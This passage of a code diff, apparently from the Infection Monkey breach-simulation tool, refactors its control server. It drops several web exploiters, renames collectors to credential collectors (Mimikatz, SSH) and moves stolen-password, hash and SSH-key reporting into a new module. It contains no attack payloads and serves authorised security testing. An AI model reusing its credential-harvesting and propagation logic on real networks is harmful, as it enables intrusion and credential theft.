seconds) for SMB download operation (used " + "in various exploits using SMB)", }, - "user_to_add": { - "title": "Remote user", - "type": "string", - "default": "Monkey_IUSER_SUPPORT", - "description": "Username to add on successful exploit", - }, - }, - }, - }, - "smb_service": { - "title": "SMB service", - "type": "object", - "properties": { - "smb_download_timeout": { - "title": "SMB download timeout", - "type": "integer", - "default": 300, - "description": "Timeout (in seconds) for SMB download operation (used in " - "various exploits using SMB)", - }, - "smb_service_name": { - "title": "SMB service name", - "type": "string", - "default": "InfectionMonkey", - "description": "Name of the SMB service that will be set up to download " - "monkey", }, }, }, diff --git a/monkey/monkey_island/cc/services/config_schema/monkey.py b/monkey/monkey_island/cc/services/config_schema/monkey.py index 480aa0852..a9f9790f8 100644 --- a/monkey/monkey_island/cc/services/config_schema/monkey.py +++ b/monkey/monkey_island/cc/services/config_schema/monkey.py @@ -1,8 +1,4 @@ -from common.common_consts.system_info_collectors_names import ( - AWS_COLLECTOR, - MIMIKATZ_COLLECTOR, - PROCESS_LIST_COLLECTOR, -) +from common.common_consts.credential_collector_names import MIMIKATZ_COLLECTOR, SSH_COLLECTOR MONKEY = { "title": "Monkey", @@ -72,23 +68,23 @@ MONKEY = { "ScheduleJobs", "Timestomping", "AccountDiscovery", + "ProcessListCollection", ], }, }, }, - "system_info": { - "title": "System info", + "credential_collectors": { + "title": "Credential collection", "type": "object", "properties": { - "system_info_collector_classes": { - "title": "System info collectors", + "credential_collector_classes": { + "title": "Credential collectors", "type": "array", "uniqueItems": True, - "items": {"$ref": "#/definitions/system_info_collector_classes"}, + "items": {"$ref": "#/definitions/credential_collector_classes"}, "default": [ - AWS_COLLECTOR, - PROCESS_LIST_COLLECTOR, MIMIKATZ_COLLECTOR, + SSH_COLLECTOR, ], }, }, diff --git a/monkey/monkey_island/cc/services/database.py b/monkey/monkey_island/cc/services/database.py index 027bd49e2..7aeb1bfcf 100644 --- a/monkey/monkey_island/cc/services/database.py +++ b/monkey/monkey_island/cc/services/database.py @@ -3,6 +3,7 @@ import logging from flask import jsonify from monkey_island.cc.database import mongo +from monkey_island.cc.models.agent_controls import AgentControls from monkey_island.cc.models.attack.attack_mitigations import AttackMitigations from monkey_island.cc.services.config import ConfigService @@ -23,6 +24,7 @@ class Database(object): if not x.startswith("system.") and not x == AttackMitigations.COLLECTION_NAME ] ConfigService.init_config() + Database.init_agent_controls() logger.info("DB was reset") return jsonify(status="OK") @@ -31,6 +33,10 @@ class Database(object): mongo.db[collection_name].drop() logger.info("Dropped collection {}".format(collection_name)) + @staticmethod + def init_agent_controls(): + AgentControls().save() + @staticmethod def is_mitigations_missing() -> bool: return bool(AttackMitigations.COLLECTION_NAME not in mongo.db.list_collection_names()) diff --git a/monkey/monkey_island/cc/services/edge/edge.py b/monkey/monkey_island/cc/services/edge/edge.py index 461b0e8a5..ca0c34731 100644 --- a/monkey/monkey_island/cc/services/edge/edge.py +++ b/monkey/monkey_island/cc/services/edge/edge.py @@ -78,7 +78,7 @@ class EdgeService(Edge): def update_based_on_exploit(self, exploit: Dict): self.exploits.append(exploit) self.save() - if exploit["result"]: + if exploit["exploitation_result"]: self.set_exploited() def set_exploited(self): diff --git a/monkey/monkey_island/cc/services/groups_and_users_consts.py b/monkey/monkey_island/cc/services/groups_and_users_consts.py index cf4bf8466..a2baf7194 100644 --- a/monkey/monkey_island/cc/services/groups_and_users_consts.py +++ b/monkey/monkey_island/cc/services/groups_and_users_consts.py @@ -2,4 +2,3 @@ USERTYPE = 1 -GROUPTYPE = 2 diff --git a/monkey/monkey_island/cc/services/infection_lifecycle.py b/monkey/monkey_island/cc/services/infection_lifecycle.py index 5529cc70d..865602168 100644 --- a/monkey/monkey_island/cc/services/infection_lifecycle.py +++ b/monkey/monkey_island/cc/services/infection_lifecycle.py @@ -1,9 +1,7 @@ import logging -from datetime import datetime -from flask import jsonify - -from monkey_island.cc.database import mongo +from monkey_island.cc.models import Monkey +from monkey_island.cc.models.agent_controls import AgentControls from monkey_island.cc.resources.blackbox.utils.telem_store import TestTelemStore from monkey_island.cc.services.config import ConfigService from monkey_island.cc.services.node import NodeService @@ -16,42 +14,63 @@ from monkey_island.cc.services.reporting.report_generation_synchronisation impor logger = logging.getLogger(__name__) -class InfectionLifecycle: - @staticmethod - def kill_all(): - mongo.db.monkey.update( - {"dead": False}, - {"$set": {"config.alive": False, "modifytime": datetime.now()}}, - upsert=False, - multi=True, - ) - logger.info("Kill all monkeys was called") - return jsonify(status="OK") +def set_stop_all(time: float): + for monkey in Monkey.objects(): + monkey.config.should_stop = True + monkey.save() + agent_controls = AgentControls.objects.first() + agent_controls.last_stop_all = time + agent_controls.save() - @staticmethod - def get_completed_steps(): - is_any_exists = NodeService.is_any_monkey_exists() - infection_done = NodeService.is_monkey_finished_running() - if infection_done: - InfectionLifecycle._on_finished_infection() - report_done = ReportService.is_report_generated() - else: # Infection is not done - report_done = False +def should_agent_die(guid: int) -> bool: + monkey = Monkey.objects(guid=str(guid)).first() + return _should_agent_stop(monkey) or _is_monkey_killed_manually(monkey) - return dict( - run_server=True, - run_monkey=is_any_exists, - infection_done=infection_done, - report_done=report_done, - ) - @staticmethod - def _on_finished_infection(): - # Checking is_report_being_generated here, because we don't want to wait to generate a - # report; rather, - # we want to skip and reply. - if not is_report_being_generated() and not ReportService.is_latest_report_exists(): - safe_generate_reports() - if ConfigService.is_test_telem_export_enabled() and not TestTelemStore.TELEMS_EXPORTED: - TestTelemStore.export_telems() +def _should_agent_stop(monkey: Monkey) -> bool: + if monkey.config.should_stop: + # Only stop the agent once, to allow further runs on that machine + monkey.config.should_stop = False + monkey.save() + return True + return False + + +def _is_monkey_killed_manually(monkey: Monkey) -> bool: + kill_timestamp = AgentControls.objects.first().last_stop_all + if kill_timestamp is None: + return False + if monkey.has_parent(): + launch_timestamp = monkey.get_parent().launch_time + else: + launch_timestamp = monkey.launch_time + return int(kill_timestamp) >= int(launch_timestamp) + + +def get_completed_steps(): + is_any_exists = NodeService.is_any_monkey_exists() + infection_done = NodeService.is_monkey_finished_running() + + if infection_done: + _on_finished_infection() + report_done = ReportService.is_report_generated() + else: # Infection is not done + report_done = False + + return dict( + run_server=True, + run_monkey=is_any_exists, + infection_done=infection_done, + report_done=report_done, + ) + + +def _on_finished_infection(): + # Checking is_report_being_generated here, because we don't want to wait to generate a + # report; rather, + # we want to skip and reply. + if not is_report_being_generated() and not ReportService.is_latest_report_exists(): + safe_generate_reports() + if ConfigService.is_test_telem_export_enabled() and not TestTelemStore.TELEMS_EXPORTED: + TestTelemStore.export_telems() diff --git a/monkey/monkey_island/cc/services/node.py b/monkey/monkey_island/cc/services/node.py index ec787a39d..abf41e715 100644 --- a/monkey/monkey_island/cc/services/node.py +++ b/monkey/monkey_island/cc/services/node.py @@ -1,6 +1,5 @@ import socket -from datetime import datetime, timedelta -from typing import Dict +from datetime import datetime from bson import ObjectId @@ -10,7 +9,7 @@ from monkey_island.cc.database import mongo from monkey_island.cc.models import Monkey from monkey_island.cc.services.edge.displayed_edge import DisplayedEdgeService from monkey_island.cc.services.edge.edge import EdgeService -from monkey_island.cc.services.utils.network_utils import is_local_ips, local_ip_addresses +from monkey_island.cc.services.utils.network_utils import local_ip_addresses from monkey_island.cc.services.utils.node_states import NodeStates @@ -129,8 +128,14 @@ class NodeService: def get_node_group(node) -> str: if "group" in node and node["group"]: return node["group"] - node_type = "exploited" if node.get("exploited") else "clean" + + if node.get("propagated"): + node_type = "propagated" + else: + node_type = "clean" + node_os = NodeService.get_node_os(node) + return NodeStates.get_by_keywords([node_type, node_os]).value @staticmethod @@ -165,10 +170,6 @@ class NodeService: "os": NodeService.get_node_os(node), } - @staticmethod - def set_node_group(node_id: str, node_group: NodeStates): - mongo.db.node.update({"_id": node_id}, {"$set": {"group": node_group.value}}, upsert=False) - @staticmethod def unset_all_monkey_tunnels(monkey_id): mongo.db.monkey.update({"_id": monkey_id}, {"$unset": {"tunnel": ""}}, upsert=False) @@ -203,65 +204,12 @@ class NodeService: "ip_addresses": [ip_address], "domain_name": domain_name, "exploited": False, - "creds": [], + "propagated": False, "os": {"type": "unknown", "version": "unknown"}, } ) return mongo.db.node.find_one({"_id": new_node_insert_result.inserted_id}) - @staticmethod - def create_node_from_bootloader_telem(bootloader_telem: Dict, will_monkey_run: bool): - new_node_insert_result = mongo.db.node.insert_one( - { - "ip_addresses": bootloader_telem["ips"], - "domain_name": bootloader_telem["hostname"], - "will_monkey_run": will_monkey_run, - "exploited": False, - "creds": [], - "os": { - "type": bootloader_telem["system"], - "version": bootloader_telem["os_version"], - }, - } - ) - return mongo.db.node.find_one({"_id": new_node_insert_result.inserted_id}) - - @staticmethod - def get_or_create_node_from_bootloader_telem( - bootloader_telem: Dict, will_monkey_run: bool - ) -> Dict: - if is_local_ips(bootloader_telem["ips"]): - raise NodeCreationException("Bootloader ran on island, no need to create new node.") - - new_node = mongo.db.node.find_one({"ip_addresses": {"$in": bootloader_telem["ips"]}}) - # Temporary workaround to not create a node after monkey finishes - monkey_node = mongo.db.monkey.find_one({"ip_addresses": {"$in": bootloader_telem["ips"]}}) - if monkey_node: - # Don't create new node, monkey node is already present - return monkey_node - - if new_node is None: - new_node = NodeService.create_node_from_bootloader_telem( - bootloader_telem, will_monkey_run - ) - if bootloader_telem["tunnel"]: - dst_node = NodeService.get_node_or_monkey_by_ip(bootloader_telem["tunnel"]) - else: - dst_node = NodeService.get_monkey_island_node() - src_label = NodeService.get_label_for_endpoint(new_node["_id"]) - dst_label = NodeService.get_label_for_endpoint(dst_node["id"]) - edge = EdgeService.get_or_create_edge( - src_node_id=new_node["_id"], - dst_node_id=dst_node["id"], - src_label=src_label, - dst_label=dst_label, - ) - edge.tunnel = bool(bootloader_telem["tunnel"]) - edge.ip_address = bootloader_telem["ips"][0] - edge.group = NodeStates.get_by_keywords(["island"]).value - edge.save() - return new_node - @staticmethod def get_or_create_node(ip_address, domain_name=""): new_node = mongo.db.node.find_one({"ip_addresses": ip_address}) @@ -301,7 +249,7 @@ class NodeService: # Cancel the force kill once monkey died if is_dead: - props_to_set["config.alive"] = True + props_to_set["config.should_stop"] = False mongo.db.monkey.update({"guid": monkey["guid"]}, {"$set": props_to_set}, upsert=False) @@ -344,20 +292,8 @@ class NodeService: mongo.db.node.update({"_id": node_id}, {"$set": {"exploited": True}}) @staticmethod - def update_dead_monkeys(): - # Update dead monkeys only if no living monkey transmitted keepalive in the last 10 minutes - if mongo.db.monkey.find_one( - {"dead": {"$ne": True}, "keepalive": {"$gte": datetime.now() - timedelta(minutes=10)}} - ): - return - - # config.alive is changed to true to cancel the force kill of dead monkeys - mongo.db.monkey.update( - {"keepalive": {"$lte": datetime.now() - timedelta(minutes=10)}, "dead": {"$ne": True}}, - {"$set": {"dead": True, "config.alive": True, "modifytime": datetime.now()}}, - upsert=False, - multi=True, - ) + def set_node_propagated(node_id): + mongo.db.node.update({"_id": node_id}, {"$set": {"propagated": True}}) @staticmethod def is_any_monkey_alive(): @@ -372,14 +308,6 @@ class NodeService: def is_monkey_finished_running(): return NodeService.is_any_monkey_exists() and not NodeService.is_any_monkey_alive() - @staticmethod - def add_credentials_to_monkey(monkey_id, creds): - mongo.db.monkey.update({"_id": monkey_id}, {"$push": {"creds": creds}}) - - @staticmethod - def add_credentials_to_node(node_id, creds): - mongo.db.node.update({"_id": node_id}, {"$push": {"creds": creds}}) - @staticmethod def get_node_or_monkey_by_ip(ip_address): node = NodeService.get_node_by_ip(ip_address) @@ -412,7 +340,3 @@ class NodeService: return Monkey.get_label_by_id(endpoint_id) else: return NodeService.get_node_label(NodeService.get_node_by_id(endpoint_id)) - - -class NodeCreationException(Exception): - pass diff --git a/monkey/monkey_island/cc/services/reporting/aws_exporter.py b/monkey/monkey_island/cc/services/reporting/aws_exporter.py index 927685560..7c6d0903d 100644 --- a/monkey/monkey_island/cc/services/reporting/aws_exporter.py +++ b/monkey/monkey_island/cc/services/reporting/aws_exporter.py @@ -68,9 +68,7 @@ class AWSExporter(Exporter): CredentialType.PASSWORD.value: AWSExporter._handle_ssh_issue, CredentialType.KEY.value: AWSExporter._handle_ssh_key_issue, }, - ExploiterDescriptorEnum.SHELLSHOCK.value.class_name: AWSExporter._handle_shellshock_issue, # noqa:E501 "tunnel": AWSExporter._handle_tunnel_issue, - ExploiterDescriptorEnum.ELASTIC.value.class_name: AWSExporter._handle_elastic_issue, ExploiterDescriptorEnum.SMB.value.class_name: { CredentialType.PASSWORD.value: AWSExporter._handle_smb_password_issue, CredentialType.HASH.value: AWSExporter._handle_smb_pth_issue, @@ -83,8 +81,6 @@ class AWSExporter(Exporter): "shared_passwords_domain": AWSExporter._handle_shared_passwords_domain_issue, "shared_admins_domain": AWSExporter._handle_shared_admins_domain_issue, "strong_users_on_crit": AWSExporter._handle_strong_users_on_crit_issue, - ExploiterDescriptorEnum.STRUTS2.value.class_name: AWSExporter._handle_struts2_issue, - ExploiterDescriptorEnum.WEBLOGIC.value.class_name: AWSExporter._handle_weblogic_issue, ExploiterDescriptorEnum.HADOOP.value.class_name: AWSExporter._handle_hadoop_issue, } @@ -246,21 +242,6 @@ class AWSExporter(Exporter): instance_id=issue["aws_instance_id"] if "aws_instance_id" in issue else None, ) - @staticmethod - def _handle_elastic_issue(issue, instance_arn): - - return AWSExporter._build_generic_finding( - severity=10, - title="Elastic Search servers are vulnerable to CVE-2015-1427", - description="Update your Elastic Search server to version 1.4.3 and up.", - recommendation="The machine {0}({1}) is vulnerable to an Elastic Groovy attack. " - "The attack was made " - "possible because the Elastic Search server was not patched " - "against CVE-2015-1427.".format(issue["machine"], issue["ip_address"]), - instance_arn=instance_arn, - instance_id=issue["aws_instance_id"] if "aws_instance_id" in issue else None, - ) - @staticmethod def _handle_island_cross_segment_issue(issue, instance_arn): @@ -295,23 +276,6 @@ class AWSExporter(Exporter): instance_id=issue["aws_instance_id"] if "aws_instance_id" in issue else None, ) - @staticmethod - def _handle_shellshock_issue(issue, instance_arn): - - return AWSExporter._build_generic_finding( - severity=10, - title="Machines are vulnerable to 'Shellshock'", - description="Update your Bash to a ShellShock-patched version.", - recommendation="The machine {0} ({1}) is vulnerable to a ShellShock attack. " - "The attack was made possible because the HTTP server running on " - "TCP port {2} was vulnerable to a " - "shell injection attack on the paths: {3}.".format( - issue["machine"], issue["ip_address"], issue["port"], issue["paths"] - ), - instance_arn=instance_arn, - instance_id=issue["aws_instance_id"] if "aws_instance_id" in issue else None, - ) - @staticmethod def _handle_smb_password_issue(issue, instance_arn): @@ -421,45 +385,6 @@ class AWSExporter(Exporter): instance_id=issue["aws_instance_id"] if "aws_instance_id" in issue else None, ) - @staticmethod - def _handle_struts2_issue(issue, instance_arn): - - return AWSExporter._build_generic_finding( - severity=10, - title="Struts2 servers are vulnerable to remote code execution.", - description="Upgrade Struts2 to version 2.3.32 or 2.5.10.1 or any later versions.", - recommendation="Struts2 server at {machine} ({ip_address}) is vulnerable to " - "remote code execution attack." - "The attack was made possible because the server is using an old " - "version of Jakarta based file " - "upload Multipart parser.".format( - machine=issue["machine"], ip_address=issue["ip_address"] - ), - instance_arn=instance_arn, - instance_id=issue["aws_instance_id"] if "aws_instance_id" in issue else None, - ) - - @staticmethod - def _handle_weblogic_issue(issue, instance_arn): - - return AWSExporter._build_generic_finding( - severity=10, - title="Oracle WebLogic servers are vulnerable to remote code execution.", - description="Install Oracle critical patch updates. Or update to the latest " - "version. " - "Vulnerable versions are 10.3.6.0.0, 12.1.3.0.0, 12.2.1.1.0 and " - "12.2.1.2.0.", - recommendation="Oracle WebLogic server at {machine} ({ip_address}) is vulnerable " - "to remote code execution attack." - "The attack was made possible due to incorrect permission " - "assignment in Oracle Fusion Middleware " - "(subcomponent: WLS Security).".format( - machine=issue["machine"], ip_address=issue["ip_address"] - ), - instance_arn=instance_arn, - instance_id=issue["aws_instance_id"] if "aws_instance_id" in issue else None, - ) - @staticmethod def _handle_hadoop_issue(issue, instance_arn): diff --git a/monkey/monkey_island/cc/services/reporting/exploitations/manual_exploitation.py b/monkey/monkey_island/cc/services/reporting/exploitations/manual_exploitation.py index 303fe8db5..9e10d0abc 100644 --- a/monkey/monkey_island/cc/services/reporting/exploitations/manual_exploitation.py +++ b/monkey/monkey_island/cc/services/reporting/exploitations/manual_exploitation.py @@ -3,6 +3,7 @@ from typing import List from monkey_island.cc.database import mongo from monkey_island.cc.services.node import NodeService +from monkey_island.cc.services.utils.formatting import timestamp_to_date @dataclass @@ -27,5 +28,5 @@ def monkey_to_manual_exploitation(monkey: dict) -> ManualExploitation: return ManualExploitation( hostname=monkey["hostname"], ip_addresses=monkey["ip_addresses"], - start_time=monkey["launch_time"], + start_time=timestamp_to_date(monkey["launch_time"]), ) diff --git a/monkey/monkey_island/cc/services/reporting/exploitations/monkey_exploitation.py b/monkey/monkey_island/cc/services/reporting/exploitations/monkey_exploitation.py index f06d23274..17825e0cf 100644 --- a/monkey/monkey_island/cc/services/reporting/exploitations/monkey_exploitation.py +++ b/monkey/monkey_island/cc/services/reporting/exploitations/monkey_exploitation.py @@ -56,7 +56,7 @@ def get_exploits_used_on_node(node: dict) -> List[str]: [ ExploiterDescriptorEnum.get_by_class_name(exploit["exploiter"]).display_name for exploit in node["exploits"] - if exploit["result"] + if exploit["exploitation_result"] ] ) ) diff --git a/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_descriptor_enum.py b/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_descriptor_enum.py index 7d7921b8b..63785acc6 100644 --- a/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_descriptor_enum.py +++ b/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_descriptor_enum.py @@ -11,9 +11,6 @@ from monkey_island.cc.services.reporting.issue_processing.exploit_processing.pro from monkey_island.cc.services.reporting.issue_processing.exploit_processing.processors.log4shell import ( # noqa: E501 Log4ShellProcessor, ) -from monkey_island.cc.services.reporting.issue_processing.exploit_processing.processors.shellshock_exploit import ( # noqa: E501 - ShellShockExploitProcessor, -) from monkey_island.cc.services.reporting.issue_processing.exploit_processing.processors.zerologon import ( # noqa: E501 ZerologonExploitProcessor, ) @@ -31,20 +28,8 @@ class ExploiterDescriptorEnum(Enum): SMB = ExploiterDescriptor("SmbExploiter", "SMB Exploiter", CredExploitProcessor) WMI = ExploiterDescriptor("WmiExploiter", "WMI Exploiter", CredExploitProcessor) SSH = ExploiterDescriptor("SSHExploiter", "SSH Exploiter", CredExploitProcessor) - ELASTIC = ExploiterDescriptor( - "ElasticGroovyExploiter", "Elastic Groovy Exploiter", ExploitProcessor - ) - MS08_067 = ExploiterDescriptor("Ms08_067_Exploiter", "Conficker Exploiter", ExploitProcessor) - SHELLSHOCK = ExploiterDescriptor( - "ShellShockExploiter", "ShellShock Exploiter", ShellShockExploitProcessor - ) - STRUTS2 = ExploiterDescriptor("Struts2Exploiter", "Struts2 Exploiter", ExploitProcessor) - WEBLOGIC = ExploiterDescriptor( - "WebLogicExploiter", "Oracle WebLogic Exploiter", ExploitProcessor - ) HADOOP = ExploiterDescriptor("HadoopExploiter", "Hadoop/Yarn Exploiter", ExploitProcessor) MSSQL = ExploiterDescriptor("MSSQLExploiter", "MSSQL Exploiter", ExploitProcessor) - DRUPAL = ExploiterDescriptor("DrupalExploiter", "Drupal Server Exploiter", ExploitProcessor) ZEROLOGON = ExploiterDescriptor( "ZerologonExploiter", "Zerologon Exploiter", ZerologonExploitProcessor ) diff --git a/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/processors/shellshock_exploit.py b/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/processors/shellshock_exploit.py deleted file mode 100644 index bd047fbf5..000000000 --- a/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/processors/shellshock_exploit.py +++ /dev/null @@ -1,15 +0,0 @@ -from monkey_island.cc.services.reporting.issue_processing.exploit_processing.processors.exploit import ( # noqa: E501 - ExploiterReportInfo, - ExploitProcessor, -) - - -class ShellShockExploitProcessor: - @staticmethod - def get_exploit_info_by_dict(class_name: str, exploit_dict: dict) -> ExploiterReportInfo: - exploit_info = ExploitProcessor.get_exploit_info_by_dict(class_name, exploit_dict) - - urls = exploit_dict["data"]["info"]["vulnerable_urls"] - exploit_info.port = urls[0].split(":")[2].split("/")[0] - exploit_info.paths = ["/" + url.split(":")[2].split("/")[1] for url in urls] - return exploit_info diff --git a/monkey/monkey_island/cc/services/reporting/report.py b/monkey/monkey_island/cc/services/reporting/report.py index 8d93d8062..6b2edc13e 100644 --- a/monkey/monkey_island/cc/services/reporting/report.py +++ b/monkey/monkey_island/cc/services/reporting/report.py @@ -16,7 +16,6 @@ from common.network.segmentation_utils import get_ip_in_src_and_not_in_dst from monkey_island.cc.database import mongo from monkey_island.cc.models import Monkey from monkey_island.cc.models.report import get_report, save_report -from monkey_island.cc.models.telemetries import get_telemetry_by_query from monkey_island.cc.services.config import ConfigService from monkey_island.cc.services.configuration.utils import ( get_config_network_segments_as_subnet_groups, @@ -26,22 +25,21 @@ from monkey_island.cc.services.reporting.exploitations.manual_exploitation impor from monkey_island.cc.services.reporting.exploitations.monkey_exploitation import ( get_monkey_exploited, ) -from monkey_island.cc.services.reporting.issue_processing.exploit_processing.exploiter_descriptor_enum import ( # noqa: E501 - ExploiterDescriptorEnum, -) -from monkey_island.cc.services.reporting.issue_processing.exploit_processing.processors.cred_exploit import ( # noqa: E501 - CredentialType, -) -from monkey_island.cc.services.reporting.issue_processing.exploit_processing.processors.exploit import ( # noqa: E501 - ExploiterReportInfo, -) from monkey_island.cc.services.reporting.pth_report import PTHReportService from monkey_island.cc.services.reporting.report_exporter_manager import ReportExporterManager from monkey_island.cc.services.reporting.report_generation_synchronisation import ( safe_generate_regular_report, ) +from monkey_island.cc.services.reporting.stolen_credentials import ( + extract_ssh_keys, + get_stolen_creds, +) from monkey_island.cc.services.utils.network_utils import get_subnets, local_ip_addresses +from .issue_processing.exploit_processing.exploiter_descriptor_enum import ExploiterDescriptorEnum +from .issue_processing.exploit_processing.processors.cred_exploit import CredentialType +from .issue_processing.exploit_processing.processors.exploit import ExploiterReportInfo + logger = logging.getLogger(__name__) @@ -133,104 +131,6 @@ class ReportService: nodes = nodes_without_monkeys + nodes_with_monkeys return nodes - @staticmethod - def get_stolen_creds(): - creds = [] - - stolen_system_info_creds = ReportService._get_credentials_from_system_info_telems() - creds.extend(stolen_system_info_creds) - - stolen_exploit_creds = ReportService._get_credentials_from_exploit_telems() - creds.extend(stolen_exploit_creds) - - logger.info("Stolen creds generated for reporting") - return creds - - @staticmethod - def _get_credentials_from_system_info_telems(): - formatted_creds = [] - for telem in get_telemetry_by_query( - {"telem_category": "system_info", "data.credentials": {"$exists": True}}, - {"data.credentials": 1, "monkey_guid": 1}, - ): - creds = telem["data"]["credentials"] - origin = NodeService.get_monkey_by_guid(telem["monkey_guid"])["hostname"] - formatted_creds.extend(ReportService._format_creds_for_reporting(telem, creds, origin)) - return formatted_creds - - @staticmethod - def _get_credentials_from_exploit_telems(): - formatted_creds = [] - for telem in mongo.db.telemetry.find( - {"telem_category": "exploit", "data.info.credentials": {"$exists": True}}, - {"data.info.credentials": 1, "data.machine": 1, "monkey_guid": 1}, - ): - creds = telem["data"]["info"]["credentials"] - domain_name = telem["data"]["machine"]["domain_name"] - ip = telem["data"]["machine"]["ip_addr"] - origin = domain_name if domain_name else ip - formatted_creds.extend(ReportService._format_creds_for_reporting(telem, creds, origin)) - return formatted_creds - - @staticmethod - def _format_creds_for_reporting(telem, monkey_creds, origin): - creds = [] - CRED_TYPE_DICT = { - "password": "Clear Password", - "lm_hash": "LM hash", - "ntlm_hash": "NTLM hash", - } - if len(monkey_creds) == 0: - return [] - - for user in monkey_creds: - for cred_type in CRED_TYPE_DICT: - if cred_type not in monkey_creds[user] or not monkey_creds[user][cred_type]: - continue - username = ( - monkey_creds[user]["username"] if "username" in monkey_creds[user] else user - ) - cred_row = { - "username": username, - "type": CRED_TYPE_DICT[cred_type], - "origin": origin, - } - if cred_row not in creds: - creds.append(cred_row) - return creds - - @staticmethod - def get_ssh_keys(): - """ - Return private ssh keys found as credentials - :return: List of credentials - """ - creds = [] - for telem in mongo.db.telemetry.find( - {"telem_category": "system_info", "data.ssh_info": {"$exists": True}}, - {"data.ssh_info": 1, "monkey_guid": 1}, - ): - origin = NodeService.get_monkey_by_guid(telem["monkey_guid"])["hostname"] - if telem["data"]["ssh_info"]: - # Pick out all ssh keys not yet included in creds - ssh_keys = [ - { - "username": key_pair["name"], - "type": "Clear SSH private key", - "origin": origin, - } - for key_pair in telem["data"]["ssh_info"] - if key_pair["private_key"] - and { - "username": key_pair["name"], - "type": "Clear SSH private key", - "origin": origin, - } - not in creds - ] - creds.extend(ssh_keys) - return creds - @staticmethod def process_exploit(exploit) -> ExploiterReportInfo: exploiter_type = exploit["data"]["exploiter"] @@ -242,7 +142,7 @@ class ReportService: @staticmethod def get_exploits() -> List[dict]: query = [ - {"$match": {"telem_category": "exploit", "data.result": True}}, + {"$match": {"telem_category": "exploit", "data.exploitation_result": True}}, { "$group": { "_id": {"ip_address": "$data.machine.ip_addr"}, @@ -260,16 +160,11 @@ class ReportService: @staticmethod def get_monkey_subnets(monkey_guid): - network_info = mongo.db.telemetry.find_one( - {"telem_category": "system_info", "monkey_guid": monkey_guid}, - {"data.network_info.networks": 1}, - ) - if network_info is None or not network_info["data"]: - return [] + networks = Monkey.objects.get(guid=monkey_guid).networks return [ - ipaddress.ip_interface(str(network["addr"] + "/" + network["netmask"])).network - for network in network_info["data"]["network_info"]["networks"] + ipaddress.ip_interface(f"{network['addr']}/{network['netmask']}").network + for network in networks ] @staticmethod @@ -564,6 +459,7 @@ class ReportService: issue_set = ReportService.get_issue_set(issues, config_users, config_passwords) cross_segment_issues = ReportService.get_cross_segment_issues() monkey_latest_modify_time = Monkey.get_latest_modifytime() + stolen_creds = get_stolen_creds() scanned_nodes = ReportService.get_scanned() exploited_cnt = len(get_monkey_exploited()) @@ -585,8 +481,8 @@ class ReportService: "glance": { "scanned": scanned_nodes, "exploited_cnt": exploited_cnt, - "stolen_creds": ReportService.get_stolen_creds(), - "ssh_keys": ReportService.get_ssh_keys(), + "stolen_creds": stolen_creds, + "ssh_keys": extract_ssh_keys(stolen_creds), "strong_users": PTHReportService.get_strong_users_on_crit_details(), }, "recommendations": {"issues": issues, "domain_issues": domain_issues}, diff --git a/monkey/monkey_island/cc/services/reporting/stolen_credentials.py b/monkey/monkey_island/cc/services/reporting/stolen_credentials.py new file mode 100644 index 000000000..a1f596ad5 --- /dev/null +++ b/monkey/monkey_island/cc/services/reporting/stolen_credentials.py @@ -0,0 +1,52 @@ +import logging +from typing import Mapping, Sequence + +from common.common_consts.credential_component_type import CredentialComponentType +from monkey_island.cc.models import StolenCredentials + +logger = logging.getLogger(__name__) + + +def get_stolen_creds() -> Sequence[Mapping]: + stolen_creds = _fetch_from_db() + stolen_creds = _format_creds_for_reporting(stolen_creds) + + logger.info("Stolen creds generated for reporting") + return stolen_creds + + +def extract_ssh_keys(credentials: Sequence[Mapping]) -> Sequence[Mapping]: + return [c for c in credentials if c["_type"] == CredentialComponentType.SSH_KEYPAIR.name] + + +def _fetch_from_db() -> Sequence[StolenCredentials]: + return list(StolenCredentials.objects()) + + +def _format_creds_for_reporting(credentials: Sequence[StolenCredentials]): + formatted_creds = [] + cred_type_dict = { + CredentialComponentType.PASSWORD.name: "Clear Password", + CredentialComponentType.LM_HASH.name: "LM hash", + CredentialComponentType.NT_HASH.name: "NTLM hash", + CredentialComponentType.SSH_KEYPAIR.name: "Clear SSH private key", + } + + for cred in credentials: + for secret_type in cred.secrets: + if secret_type not in cred_type_dict: + continue + username = _get_username(cred) + cred_row = { + "username": username, + "_type": secret_type, + "type": cred_type_dict[secret_type], + "origin": cred.monkey.hostname, + } + if cred_row not in formatted_creds: + formatted_creds.append(cred_row) + return formatted_creds + + +def _get_username(credentials: StolenCredentials) -> str: + return credentials.identities[0]["username"] if credentials.identities else "" diff --git a/monkey/monkey_island/cc/services/run_local_monkey.py b/monkey/monkey_island/cc/services/run_local_monkey.py index ce6c98c61..be08352e8 100644 --- a/monkey/monkey_island/cc/services/run_local_monkey.py +++ b/monkey/monkey_island/cc/services/run_local_monkey.py @@ -5,8 +5,8 @@ import stat import subprocess from shutil import copyfile -from monkey_island.cc.resources.monkey_download import get_monkey_executable -from monkey_island.cc.server_utils.consts import ISLAND_PORT, MONKEY_ISLAND_ABS_PATH +from monkey_island.cc.resources.monkey_download import get_agent_executable_path +from monkey_island.cc.server_utils.consts import ISLAND_PORT from monkey_island.cc.services.utils.network_utils import local_ip_addresses logger = logging.getLogger(__name__) @@ -25,12 +25,13 @@ class LocalMonkeyRunService: @staticmethod def run_local_monkey(): # get the monkey executable suitable to run on the server - result = get_monkey_executable(platform.system().lower(), platform.machine().lower()) - if not result: - return False, "OS Type not found" + try: + src_path = get_agent_executable_path(platform.system().lower()) + except Exception as ex: + logger.error(f"Error running agent from island: {ex}") + return False, str(ex) - src_path = os.path.join(MONKEY_ISLAND_ABS_PATH, "cc", "binaries", result["filename"]) - dest_path = os.path.join(LocalMonkeyRunService.DATA_DIR, result["filename"]) + dest_path = LocalMonkeyRunService.DATA_DIR / src_path.name # copy the executable to temp path (don't run the monkey from its current location as it may # delete itself) @@ -46,7 +47,7 @@ class LocalMonkeyRunService: ip = local_ip_addresses()[0] port = ISLAND_PORT - args = [dest_path, "m0nk3y", "-s", f"{ip}:{port}"] + args = [str(dest_path), "m0nk3y", "-s", f"{ip}:{port}"] subprocess.Popen(args, cwd=LocalMonkeyRunService.DATA_DIR) except Exception as exc: logger.error("popen failed", exc_info=True) 